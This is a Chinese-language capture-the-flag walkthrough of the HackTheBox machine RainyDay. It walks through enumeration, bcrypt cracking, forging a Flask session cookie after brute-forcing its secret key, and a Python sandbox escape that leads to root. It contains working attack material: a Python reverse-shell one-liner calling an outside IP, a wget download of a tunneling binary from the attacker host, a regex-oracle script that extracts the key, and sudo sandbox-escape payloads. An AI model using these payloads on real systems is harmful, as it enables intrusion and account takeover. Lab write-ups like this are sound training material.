HTB靶机:RainyDay

靶机信息:

image-20221021144958781

这台靶机过程很复杂,我觉得在密码破解这块是个巨坑。

信息收集

端口扫描:

nmap -sC -sV -Pn 10.10.11.184

或者我喜欢使用rustscan

rustscan -a 10.10.11.184 -- -sC -sV 
PORT   STATE SERVICE REASON  VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 48:dd:e3:61:dc:5d:58:78:f8:81:dd:61:72:fe:65:81 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN7V52f3opQgMThQFMGLiVJwoyBGgoAofPCC7Ipup6ivu7cYi67jBYLzUZMbwpmTBtElMitUHbd+GzeNFJyR8n4=
| 256 ad:bf:0b:c8:52:0f:49:a9:a0:ac:68:2a:25:25:cd:6d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPAoadmai/5+eCI0EoWpdjzBn8qCAQiPDlv2j5HDwv9h
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://rainycloud.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80

添加hosts访问网站,发现有登录口,但是不能注册。

echo '10.10.11.184 rainycloud.htb'|sudo tee -a /etc/hosts

image-20221021145846955

image-20221021155036055

在尝试注册失败后,有报错信息。从报错信息中知道网站路径和后端使用的是python

image-20221021160916732

<!-- Sign In Form -->                  
<!-- RainyCloud-4: TODO - Remove debug errors from prod -->
<h4> Error - Login Incorrect! <!-- /var/www/rainycloud/./app.py:288 --></h4>

目录扫描:

dirsearch -u http://rainycloud.htb

扫到一个有用的后台/api,然后得到了三个用户和hash。

gobuster dir -w /usr/share/SecLists/Discovery/Web-Content/common.txt  -t 50 -u http://rainycloud.htb/api/user/ --exclude-length 3
curl "http://rainycloud.htb/api/user/1.0"
jack $2a$10$bit.DrTClexd4.wVpTQYb.FpxdGFNPdsVX8fjFYknhDwSxNJh.O.O
root $2a$05$x4nSvCqGHZBmBQnmNM2nXeWDzVvvsXaJiHsSv1pwZnxrcBFbOibZS
gary $2b$12$WTik5.ucdomZhgsX6U/.meSgr14LcpWXsCA0KxldEw8kksUtDuAuG

image-20221021162241872

image-20221021162543371

image-20221021163121984

image-20221021163301028

子域名扫描:

wfuzz -c -f subdomains.txt -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://rainycloud.htb/" -H "Host: FUZZ.rainycloud.htb"

发现一个dev的二级域名,并且响应码403,很可疑

image-20221021161908285

hash解密:

分别对收集到三个用户的hash进行爆破,成功爆出gary的密码rubberducky

hashcat -m 3200 爆破hash文件

image-20221021164012765

登录网站

使用gary:rubberducky成功登录,可以创建一个容器,并且可以使用python获取到反弹shell。

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

image-20221021164531501

image-20221021165119640

建立代理隧道

前面信息收集中,获取到dev的二级域名但是403,尝试建立代理,本地访问dev域名

添加本地hosts,访问dev

127.0.0.1     dev.rainycloud.htb
#  kali
./chisel server -p 9999 --reverse

# 靶机
cd tmp
wget http://10.10.14.4:1234/chisel
chmod +x chisel
./chisel client --max-retry-count=1 10.10.14.4:9999 R:8888:172.18.0.1:80

image-20221021171600172

image-20221021171709175

继续信息收集

发现healthcheck是个接口。观察这个接口支持POST方式提交数据,尝试通过fuzz出一些信息。已知网站是python写的,所以存在SECRET_KEY.这里可以爆破一下这个key.

#成功爆破出
key:f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67
#测试
curl http://dev.rainycloud.htb:8888/api/healthcheck --cookie 'session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y1JbZA.RCHhYOthPhFW26BxJX0caJvfqXE' -d 'file=/etc/passwd&type=custom&pattern=^root.*'

#fuzz目录
wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt -b 'eyJ1c2VybmFtZSI6ImdhcnkifQ.Y1JbZA.RCHhYOthPhFW26BxJX0caJvfqXE' -d 'file=/var/www/rainycloud/FUZZ.py&type=custom&pattern=^SECRET_KEY.*' --hc 500 http://dev.rainycloud.htb:8888/api/healthcheck
#获取key失败,尝试使用脚本爆破
curl http://dev.rainycloud.htb:8888/api/healthcheck --cookie 'eyJ1c2VybmFtZSI6ImdhcnkifQ.Y1JbZA.RCHhYOthPhFW26BxJX0caJvfqXE' -d 'ffile=/var/www/rainycloud/FUZZ.py&type=custom&pattern=^SECRET_KEY.*'
#爆破脚本
import string
import requests
import json

allchars = string.printable
cookies = {'session': 'eyJ1c2VybmFtZSI6ImdhcnkifQ.Y1EM7Q.dy6QQCPQQcCOEZn4a2aV_E-ZjwQ'}

s = requests.Session()
pattern = ""

while True:
for c in allchars:
try:
rsp = s.post('http://dev.rainycloud.htb:8888/api/healthcheck', {'file': '/var/www/rainycloud/secrets.py','type': 'custom','pattern':"^SECRET_KEY = '" + pattern + c + ".*"},
cookies=cookies)
if json.loads(rsp.content)['result']:
pattern += c
print(pattern)
break
else:
print(c)
except Exception:
print(rsp.content)

image-20221021171751397

image-20221021172150247

image-20221021172719611

伪造cookie

有了key之后可以使用flask_session_cookie_manager3.py伪造前面收集到jack这个人的身份。更换cookie后,并且成功在jack用户下获取反弹shell.

python3 flask_session_cookie_manager3.py encode -s f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67
-t "{'username': 'jack'}"

image-20221021173925686

image-20221021174421803

获取用户权限

在进行提权三把斧后(ps:查进程,查权限,查敏感数据)发现有一个进程跑的cmd,进入该进程文件中,获取到jack的ssh私钥。

./paspy64

image-20221021185449702

私钥路径就是/proc/进程PID/root/home/jack/.ssh

image-20221021190045173

image-20221021190135964

提权

发现jack可以以jack_adm身份运行指定程序,网上查找发现可以进行python沙盒逃逸

python沙盒逃逸

https://www.reelix.za.net/2021/04/the-craziest-python-sandbox-escape.html

().__class__.__mro__[1].__subclasses__()[144] -> warnings.catch_warnings

echo 'print(().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]["__loader__"]().load_module("builtins").__import__("os").system("whoami"))' > /tmp/test && sudo -u jack_adm /usr/bin/safe_python /tmp/test

echo 'print(().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]["__loader__"]().load_module("builtins").__import__("os").system("bash -i"))' > /tmp/test && sudo -u jack_adm /usr/bin/safe_python /tmp/test
sudo -l
echo 'print(().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]["__loader__"]().load_module("builtins").__import__("os").system("bash -i"))' > /tmp/test && sudo -u jack_adm /usr/bin/safe_python /tmp/test

image-20221021190643916

提权到jack_adm用户后,发现可以已``root用户执行/opt/hash_system/hash_password.py`这个文件,猜测这个程序是加密的root用户hash。

$2b$05$tDH.R36LKQdRgx7ast19B.t5OyF/O4j5ZuEIU5QUzmQQZEBQhtLJ6

image-20221021191042065

解密:

hashcat -m 3200 root_hash /usr/share/seclists/Passwords/Leaked-Databases/md5decryptor-uk.txt

解密为Sup3rDup3r,但是尝试后显示不正确。

image-20221021191232310

这个程序一个看起来是指定密码加salt后生成hash的程序,密码为空得到的hash破解出来salt,使用salt生成新字典破解前面在api/user那里得到的root hash。

这里想起来前面获取有root的hash,没爆出来,这里尝试后成功获取到root密码246813579Sup3rDup3r

sed 's/$/Sup3rDup3r/' /usr/share/wordlists/rockyou.txt > newrockyou.txt
#
hashcat -m 3200 root2_hash newrockyou.txt

image-20221021192138678

image-20221021192306744

总结

image-20221020214447492

这个靶机类似CTF那种风格,考点很多,感觉就是打了一场CTF.